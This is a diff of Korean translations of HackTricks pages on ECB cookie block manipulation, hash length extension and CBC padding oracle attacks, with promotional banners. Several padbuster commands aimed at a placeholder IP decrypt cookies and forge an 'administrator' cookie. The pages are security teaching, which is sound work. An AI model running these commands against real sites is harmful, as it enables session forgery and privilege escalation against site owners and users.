| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
|
@ -52,43 +53,28 @@ ECB 사용은 여러 보안 문제를 야기할 수 있습니다:
|
|||
|
||||
## 전체 블록 제거
|
||||
|
||||
쿠키의 형식(`<사용자 이름>|<비밀번호>`)을 알고 있다면, 사용자 이름 `admin`을 가장하려면 `aaaaaaaaadmin`이라는 새 사용자를 생성하고 쿠키를 가져와 디코딩하면 됩니다:
|
||||
쿠키의 형식을 알고 있다면 (`<사용자 이름>|<비밀번호>`), 사용자 이름 `admin`을 피해자로 만들기 위해 `aaaaaaaaadmin`이라는 새 사용자를 생성하고 쿠키를 가져와 디코딩하세요:
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
이전에 'a'만을 포함한 사용자 이름으로 생성된 패턴 `\x23U\xE45K\xCB\x21\xC8`을 볼 수 있습니다.\
|
||||
그런 다음, 첫 번째 8B 블록을 제거하면 사용자 이름이 `admin`인 유효한 쿠키를 얻을 수 있습니다.
|
||||
이전에 `a`만 포함된 사용자 이름으로 생성된 패턴 `\x23U\xE45K\xCB\x21\xC8`을 볼 수 있습니다.\
|
||||
그런 다음, 첫 번째 블록 8B를 제거하면 사용자 이름이 `admin`인 유효한 쿠키를 얻을 수 있습니다:
|
||||
```
|
||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
## 블록 이동
|
||||
|
||||
많은 데이터베이스에서 `WHERE username='admin';` 또는 `WHERE username='admin ';` (추가 공백에 주목)와 같이 검색하는 것은 동일합니다.
|
||||
많은 데이터베이스에서 `WHERE username='admin';` 또는 `WHERE username='admin ';`를 검색하는 것은 동일합니다. _(추가 공백에 유의)_
|
||||
|
||||
따라서, 사용자 `admin`을 표현하는 또 다른 방법은 다음과 같습니다:
|
||||
따라서 사용자 `admin`을 표현하는 또 다른 방법은 다음과 같습니다:
|
||||
|
||||
* `len(<username>) + len(<delimiter) % len(block)`와 같이 길이가 `8B`인 블록을 사용하여 `username `이라는 이름의 사용자 이름을 생성할 수 있습니다. 구분자 `|`와 함께 청크 `<username><delimiter>`는 8B의 2개 블록을 생성합니다.
|
||||
* 그런 다음, 원하는 사용자 이름과 공백이 포함된 블록의 정확한 수를 채우는 비밀번호를 생성합니다. 예를 들어, `admin `입니다.
|
||||
* 다음을 만족하는 사용자 이름을 생성합니다: `len(<username>) + len(<delimiter) % len(block)`. 블록 크기가 `8B`인 경우 `username `이라는 사용자 이름을 생성할 수 있으며, 구분 기호 `|`와 함께 청크 `<username><delimiter>`는 8B의 2개 블록을 생성합니다.
|
||||
* 그런 다음, 사용자 이름과 공백을 포함하는 정확한 수의 블록을 채우는 비밀번호를 생성합니다. 예를 들어: `admin `
|
||||
|
||||
이 사용자의 쿠키는 3개의 블록으로 구성됩니다: 첫 번째 2개는 사용자 이름 + 구분자 블록이고 세 번째는 비밀번호 블록입니다 (사용자 이름을 가장한 것입니다): `username |admin `
|
||||
이 사용자의 쿠키는 3개의 블록으로 구성됩니다: 처음 2개는 사용자 이름 + 구분 기호의 블록이고, 세 번째는 사용자 이름을 위조하는 비밀번호의 블록입니다: `username |admin `
|
||||
|
||||
**그런 다음, 첫 번째 블록을 마지막 블록으로 대체하면 사용자 `admin`을 표현하게 됩니다: `admin |username`**
|
||||
**그런 다음, 첫 번째 블록을 마지막 블록으로 교체하면 사용자 `admin`을 표현하게 됩니다: `admin |username`**
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,42 +1,43 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 공격 요약
|
||||
|
||||
일부 알려진 평문 데이터에 **비밀**을 **추가**하고 해당 데이터를 해싱하여 **서명**하는 서버를 상상해보십시오. 다음을 알고 있다면:
|
||||
일부 **데이터**에 **비밀**을 **추가**하고 해당 데이터를 해싱하는 서버를 상상해보세요. 다음을 알고 있다면:
|
||||
|
||||
* **비밀의 길이** (주어진 길이 범위에서도 브루트포스할 수 있음)
|
||||
* **평문 데이터**
|
||||
* **알고리즘 (이 공격에 취약함)**
|
||||
* **패딩이 알려져 있음**
|
||||
* 일반적으로 기본값을 사용하므로, 다른 3가지 요구 사항이 충족되면 이것도 사용됨
|
||||
* 패딩은 비밀 + 데이터의 길이에 따라 다르며, 이는 비밀의 길이가 필요한 이유
|
||||
* **비밀의 길이** (주어진 길이 범위에서 브루트포스할 수도 있음)
|
||||
* **명확한 텍스트 데이터**
|
||||
* **알고리즘 (이 공격에 취약한)**
|
||||
* **패딩이 알려져 있다**
|
||||
* 일반적으로 기본값이 사용되므로 다른 3가지 요구 사항이 충족되면 이것도 사용됨
|
||||
* 패딩은 비밀 + 데이터의 길이에 따라 달라지므로 비밀의 길이가 필요함
|
||||
|
||||
그러면 **공격자**가 **데이터를 추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**할 수 있습니다.
|
||||
그럼, **공격자**는 **데이터**를 **추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**할 수 있습니다.
|
||||
|
||||
## 어떻게?
|
||||
|
||||
기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해싱**한 다음, **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해싱**합니다.
|
||||
기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해싱**하고, 그런 다음 **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해싱**합니다.
|
||||
|
||||
그런 다음, 비밀이 "비밀"이고 데이터가 "데이터"인 경우, "secretdata"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
|
||||
공격자가 문자열 "append"를 추가하려면:
|
||||
그럼, 비밀이 "비밀"이고 데이터가 "데이터"인 경우, "비밀데이터"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
|
||||
공격자가 "추가" 문자열을 추가하려면:
|
||||
|
||||
* 64개의 "A"의 MD5를 생성합니다
|
||||
* 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경합니다
|
||||
* 문자열 "append"를 추가합니다
|
||||
* 해시를 완료하면 결과 해시는 **"비밀" + "데이터" + "패딩" + "append"**에 대한 유효한 것이 됩니다
|
||||
* 64개의 "A"의 MD5를 생성
|
||||
* 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경
|
||||
* 문자열 "추가"를 추가
|
||||
* 해시를 완료하면 결과 해시는 **"비밀" + "데이터" + "패딩" + "추가"**에 대한 유효한 것이 될 것입니다
|
||||
|
||||
## **도구**
|
||||
|
||||
|
@ -47,16 +48,17 @@ HackTricks를 지원하는 다른 방법:
|
|||
이 공격에 대한 자세한 설명은 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)에서 찾을 수 있습니다.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,81 +1,81 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 실습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 실습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
{% endhint %}
|
||||
|
||||
# CBC - Cipher Block Chaining
|
||||
|
||||
CBC 모드에서는 **이전 암호화된 블록이 IV로 사용**되어 다음 블록과 XOR 연산을 수행합니다:
|
||||
CBC 모드에서는 **이전에 암호화된 블록이 IV로 사용**되어 다음 블록과 XOR 연산을 수행합니다:
|
||||
|
||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||
|
||||
CBC를 복호화하려면 **반대로** **연산**을 수행합니다:
|
||||
CBC를 복호화하려면 **반대로** **작업**을 수행합니다:
|
||||
|
||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||
|
||||
암호화에는 **암호화 키**와 **IV**를 사용해야 함에 유의하세요.
|
||||
**암호화 키**와 **IV**를 사용해야 함에 유의하세요.
|
||||
|
||||
# 메시지 패딩
|
||||
|
||||
암호화는 **고정된 크기의 블록**으로 수행되므로, **마지막 블록**의 길이를 완성하기 위해 일반적으로 **패딩**이 필요합니다.\
|
||||
일반적으로는 **PKCS7**이 사용되며, 패딩은 블록을 **완성**하기 위해 필요한 **바이트 수**를 **반복**하여 생성됩니다. 예를 들어, 마지막 블록이 3바이트가 부족한 경우 패딩은 `\x03\x03\x03`이 됩니다.
|
||||
암호화는 **고정된 크기의 블록**에서 수행되므로 **마지막 블록**을 완성하기 위해 일반적으로 **패딩**이 필요합니다.\
|
||||
일반적으로 **PKCS7**이 사용되며, 패딩은 블록을 **완성**하기 위해 필요한 **바이트 수**를 **반복**하는 패딩을 생성합니다. 예를 들어, 마지막 블록이 3바이트 부족하면 패딩은 `\x03\x03\x03`이 됩니다.
|
||||
|
||||
**8바이트 길이의 2개 블록**을 가진 더 많은 예제를 살펴보겠습니다:
|
||||
**8바이트 길이의 2개 블록**에 대한 더 많은 예제를 살펴봅시다:
|
||||
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| 바이트 #0 | 바이트 #1 | 바이트 #2 | 바이트 #3 | 바이트 #4 | 바이트 #5 | 바이트 #6 | 바이트 #7 | 바이트 #0 | 바이트 #1 | 바이트 #2 | 바이트 #3 | 바이트 #4 | 바이트 #5 | 바이트 #6 | 바이트 #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
마지막 예제에서는 **마지막 블록이 가득 차 있어 패딩만 있는 블록이 추가로 생성**되었음을 알 수 있습니다.
|
||||
마지막 예제에서 **마지막 블록이 가득 찼으므로 패딩만 있는 다른 블록이 생성**되었음을 주목하세요.
|
||||
|
||||
# 패딩 오라클
|
||||
|
||||
응용 프로그램이 암호화된 데이터를 복호화할 때, 먼저 데이터를 복호화한 다음 패딩을 제거합니다. 패딩을 정리하는 동안, **잘못된 패딩이 감지 가능한 동작을 트리거**하면 패딩 오라클 취약점이 있습니다. 감지 가능한 동작은 **오류**, **결과 부족** 또는 **응답 속도가 느려짐**일 수 있습니다.
|
||||
응용 프로그램이 암호화된 데이터를 복호화하면 먼저 데이터를 복호화한 다음 패딩을 제거합니다. 패딩을 정리하는 동안 **잘못된 패딩이 감지 가능한 동작을 유발**하면 **패딩 오라클 취약점**이 있습니다. 감지 가능한 동작은 **오류**, **결과 부족**, 또는 **응답이 느림**일 수 있습니다.
|
||||
|
||||
이러한 동작을 감지하면, 암호화된 데이터를 **복호화**하고 심지어 **임의의 평문을 암호화**할 수 있습니다.
|
||||
이 동작을 감지하면 **암호화된 데이터를 복호화**하고 심지어 **임의의 평문을 암호화**할 수 있습니다.
|
||||
|
||||
## 악용 방법
|
||||
|
||||
[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)를 사용하여 이러한 유형의 취약점을 악용하거나, 단순히 다음을 수행할 수 있습니다.
|
||||
[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)를 사용하여 이러한 종류의 취약점을 악용하거나 단순히 수행할 수 있습니다.
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
사이트의 쿠키가 취약한지 테스트하기 위해 다음을 시도할 수 있습니다:
|
||||
사이트의 쿠키가 취약한지 테스트하려면 다음을 시도할 수 있습니다:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**인코딩 0**은 **base64**가 사용된다는 것을 의미합니다 (하지만 다른 것들도 사용 가능하니 도움말 메뉴를 확인하세요).
|
||||
**인코딩 0**은 **base64**가 사용된다는 것을 의미합니다 (그러나 다른 것들도 사용할 수 있습니다, 도움 메뉴를 확인하세요).
|
||||
|
||||
또한 이 취약점을 **새로운 데이터를 암호화하기 위해 악용**할 수도 있습니다. 예를 들어, 쿠키의 내용이 "\_user=MyUsername\_"인 경우, 이를 "\_user=administrator\_"로 변경하여 응용 프로그램 내에서 권한을 상승시킬 수 있습니다. 또한 `padbuster`를 사용하여 `-plaintext` 매개변수를 지정하여 이 작업을 수행할 수도 있습니다:
|
||||
또한 이 취약점을 악용하여 새 데이터를 암호화할 수 있습니다. 예를 들어, 쿠키의 내용이 "**_**user=MyUsername**_**"인 경우, 이를 "\_user=administrator\_"로 변경하여 응용 프로그램 내에서 권한을 상승시킬 수 있습니다. 또한 `-plaintext` 매개변수를 지정하여 `paduster`를 사용하여 이를 수행할 수도 있습니다:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
만약 사이트가 취약하다면 `padbuster`는 자동으로 패딩 오류가 발생하는 시점을 찾으려고 시도할 것입니다. 그러나 **-error** 매개변수를 사용하여 오류 메시지를 지정할 수도 있습니다.
|
||||
만약 사이트가 취약하다면 `padbuster`는 자동으로 패딩 오류가 발생할 때 찾으려고 시도할 것이지만, **-error** 매개변수를 사용하여 오류 메시지를 지정할 수도 있습니다.
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
## 이론
|
||||
|
||||
요약하자면, 모든 **다른 패딩**을 생성하는 데 사용될 수 있는 올바른 값을 추측하여 암호화된 데이터의 복호화를 시작할 수 있습니다. 그런 다음 패딩 오라클 공격은 1, 2, 3 등의 패딩을 생성하는 올바른 값을 추측하여 시작하여 끝에서 시작하여 바이트를 복호화합니다.
|
||||
**요약**하면, 모든 **다른 패딩**을 만들 수 있는 올바른 값을 추측하여 암호화된 데이터를 복호화하기 시작할 수 있습니다. 그런 다음, 패딩 오라클 공격은 **1, 2, 3 등의 패딩을 만드는 올바른 값**을 추측하여 시작하여 끝에서 시작하여 바이트를 복호화하기 시작합니다.
|
||||
|
||||
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||||
|
||||
E0에서 E15까지의 바이트로 구성된 **2개의 블록**으로 이루어진 암호화된 텍스트가 있다고 상상해보십시오.\
|
||||
마지막 블록(E8에서 E15)을 **복호화**하기 위해 전체 블록은 "블록 암호 복호화"를 통해 중간 바이트 I0에서 I15을 생성합니다.\
|
||||
마지막으로, 각 중간 바이트는 이전의 암호화된 바이트(E0에서 E7)와 **XOR**됩니다. 그래서:
|
||||
**E0에서 E15**까지의 바이트로 구성된 **2개 블록**을 차지하는 암호화된 텍스트가 있다고 상상해보십시오.\
|
||||
**마지막 블록(E8에서 E15)**을 **복호화**하기 위해 전체 블록은 "블록 암호 복호화"를 통해 **중간 바이트 I0에서 I15**를 생성합니다.\
|
||||
마지막으로, 각 중간 바이트는 이전 암호화된 바이트(E0에서 E7)와 **XOR**됩니다. 그래서:
|
||||
|
||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
* `C14 = I14 ^ E6`
|
||||
|
@ -83,42 +83,27 @@ E0에서 E15까지의 바이트로 구성된 **2개의 블록**으로 이루어
|
|||
* `C12 = I12 ^ E4`
|
||||
* ...
|
||||
|
||||
이제 `C15`이 `0x01`이 될 때까지 `E7`을 수정할 수 있습니다. 이는 올바른 패딩이기도 합니다. 따라서 이 경우에는: `\x01 = I15 ^ E'7`
|
||||
이제, `C15`가 `0x01`이 될 때까지 `E7`을 수정할 수 있습니다. 이것도 올바른 패딩이 될 것입니다. 따라서, 이 경우에는: `\x01 = I15 ^ E'7`
|
||||
|
||||
따라서, `E'7`을 찾으면 **I15을 계산**할 수 있습니다: `I15 = 0x01 ^ E'7`
|
||||
그래서, `E'7`을 찾으면 **I15를 계산할 수 있습니다**: `I15 = 0x01 ^ E'7`
|
||||
|
||||
이로써 **C15을 계산**할 수 있습니다: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
이로써 **C15를 계산할 수 있습니다**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
**C15**을 알게 되면, 이제 **C14를 계산**할 수 있지만, 이번에는 패딩 `\x02\x02`를 무차별 대입(brute-force)합니다.
|
||||
**C15**를 알게 되면, 이제 **C14를 계산할 수 있습니다**. 이번에는 패딩 `\x02\x02`를 브루트 포싱하여 계산합니다.
|
||||
|
||||
이 무차별 대입은 이전과 같이 복잡합니다. 0x02인 **`E''15`**를 계산할 수 있습니다: `E''7 = \x02 ^ I15` 그래서 **`C14`**가 **`0x02`**와 같은 **`E'14`**를 찾기만 하면 됩니다.\
|
||||
이 BF는 이전 것만큼 복잡합니다. `E''15`의 값이 0x02인 `E''7 = \x02 ^ I15`를 계산할 수 있으므로 **`C14`가 `0x02`와 같은 `E'14`를 찾기만 하면 됩니다**.\
|
||||
그런 다음, C14를 복호화하기 위해 동일한 단계를 수행합니다: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**전체 암호화된 텍스트를 복호화**하기 위해 이러한 과정을 따르십시오.
|
||||
**전체 암호화된 텍스트를 복호화할 때까지 이 체인을 따릅니다.**
|
||||
|
||||
## 취약점 탐지
|
||||
|
||||
계정을 등록하고이 계정으로 로그인하십시오.\
|
||||
여러 번 로그인하고 항상 **동일한 쿠키**를 받으면 응용 프로그램에 문제가 있을 수 있습니다. 쿠키는 로그인할 때마다 **고유해야**합니다. 쿠키가 **항상** **동일**하면 항상 유효하고 **무효화할 수 있는 방법이 없을 것**입니다.
|
||||
계정을 등록하고 이 계정으로 로그인합니다.\
|
||||
**여러 번 로그인**하고 항상 **동일한 쿠키**를 받으면 응용 프로그램에 **문제가 있을 수 있습니다**. 로그인할 때마다 **반드시 고유한 쿠키**가 반환되어야 합니다. 쿠키가 **항상** **동일하면**, 아마도 항상 유효하고 **무효화할 수 있는 방법이 없을 것입니다**.
|
||||
|
||||
이제 쿠키를 **수정**하려고하면 응용 프로그램에서 **오류**가 발생하는 것을 볼 수 있습니다.\
|
||||
그러나 패딩을 무차별 대입(padbuster를 사용하여 예를 들면)하면 다른 사용자에 대한 유효한 다른 쿠키를 얻을 수 있습니다. 이 시나리오는 padbuster에 취약할 가능성이 매우 높습니다.
|
||||
이제, **쿠키를 수정**하려고 하면 응용 프로그램에서 **오류**가 발생하는 것을 볼 수 있습니다.\
|
||||
그러나 패딩을 브루트 포싱하여 (예: 패드버스터 사용) 다른 사용자에 대해 유효한 다른 쿠키를 얻을 수 있습니다. 이 시나리오는 패드버스터에 취약할 가능성이 높습니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* 회사를 HackTricks에서 **광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family) 컬렉션을 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
